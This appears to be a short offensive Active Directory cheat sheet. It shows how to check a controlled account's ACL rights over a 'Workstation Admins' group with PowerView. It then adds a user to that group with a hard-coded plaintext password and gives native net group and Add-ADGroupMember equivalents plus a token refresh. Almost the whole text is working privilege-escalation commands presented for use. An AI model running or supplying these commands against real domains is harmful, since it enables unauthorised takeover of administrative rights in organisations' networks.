Windows

PowerView pre-check:

Import-Module .\PowerView.ps1

$Sid = ConvertTo-SID 'OOTW\attacker.user'

Get-DomainObjectAcl -Identity 'Workstation Admins' -ResolveGUIDs |
    Where-Object { $_.SecurityIdentifier -eq $Sid }

Add group member with PowerView:

$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OOTW\attacker.user', $Password)

Add-DomainGroupMember -Identity 'Workstation Admins' -Members 'alice.wright' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity 'Workstation Admins'

Native options:

net group "Workstation Admins" alice.wright /add /domain

Add-ADGroupMember -Identity 'Workstation Admins' -Members 'alice.wright'
Get-ADGroupMember -Identity 'Workstation Admins'

Refresh the token:

klist purge
whoami /groups